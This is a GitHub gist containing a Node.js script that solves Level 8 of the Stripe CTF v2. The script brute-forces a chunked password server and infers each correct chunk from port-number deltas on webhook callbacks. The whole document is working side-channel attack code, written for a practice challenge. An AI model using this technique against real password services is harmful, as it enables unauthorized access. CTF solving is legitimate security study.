Skip to content

Instantly share code, notes, and snippets.

@mediaupstream
Created September 3, 2012 19:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mediaupstream/3612767 to your computer and use it in GitHub Desktop.
Save mediaupstream/3612767 to your computer and use it in GitHub Desktop.
A NodeJS Solution to LEVEL08 of the Stripe-CTF (v2)
var request = require('request'),
http = require('http');
require('sugar');
var Cracker = function(){
this.chunk = 0;
this.chunks = [];
this.password = '000000000000';
this.chunkPass = 0;
this.prevPort = null;
this.attempt = 0;
this.maxAttempts = 3;
this.matches = [];
this.matchThreshold = 4;
this.webhooks = ['localhost:9999'];
this.dbServer = 'http://localhost:3000';
this.complete = false;
//
// Initialize the Cracker
//
this.initialize = function(){
var self = this;
// Create the Webhook listeners
this.webhooks.each(function(webhook){
http.createServer(function(req, res){
self.process(req.connection.remotePort);
res.end(' ');
}).listen(webhook.split(':')[1]);
});
// Start cracking
this.crackAttempt();
};
//
// Process response from Chunk Server
//
this.process = function(remotePort){
var delta = (this.prevPort) ? (remotePort - this.prevPort) : 0;
this.matches.push( delta );
this.prevPort = remotePort;
this.crackAttempt();
};
//
// Make requests to the passwordDB server, etc
//
this.crackAttempt = function(){
var self = this;
if(this.complete) return;
if(this.attempt >= this.maxAttempts){
this.attempt = 0;
if(this.foundChunk()){
this.incrementChunk();
} else {
this.matches = [];
if(!this.incrementPassword()) this.incrementChunk();
}
}
this.attempt++;
request({
url: this.dbServer,
method: 'POST',
json: {
password: this.password,
webhooks: this.webhooks
}
}, function(e, r, data){
if(data.success) self.gameOver(); // you win
});
};
//
// Start cracking the next Chunk
//
this.incrementChunk = function(){
this.chunk++;
this.chunkPass = 0;
this.prevPort = null;
this.attempt = 0;
this.matches = [];
this.matchThreshold++;
this.incrementPassword();
};
//
// General purpose password incrementing with the proper format
//
this.incrementPassword = function(){
this.chunkPass++;
var p = (this.chunkPass).pad(3);
if(this.chunk == 0) this.password = String(p) +'000000000';
if(this.chunk == 1) this.password = this.chunks[0] + String(p) + '000000';
if(this.chunk == 2) this.password = this.chunks[0] + this.chunks[1] + String(p) + '000';
if(this.chunk == 3) this.password = this.chunks[0] + this.chunks[1] + this.chunks[2] + String(p);
if(this.chunkPass > 999) return false;
return true;
};
//
// Did we crack a chunk of the password yet?
//
this.foundChunk = function(){
var m = this.matches.most();
process.stdout.write(' Trying password: '+ this.password +"\r");
if(m >= this.matchThreshold){
this.chunks[this.chunk] = (this.chunkPass).pad(3);
return true;
}
return false;
};
//
// WOOO!
//
this.gameOver = function(){
process.stdout.write("You Win! \r\n");
process.stdout.write('cracked password: '+ this.password);
this.complete = true;
};
};
// Let's get crackin'
var Crack = new Cracker();
Crack.initialize();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment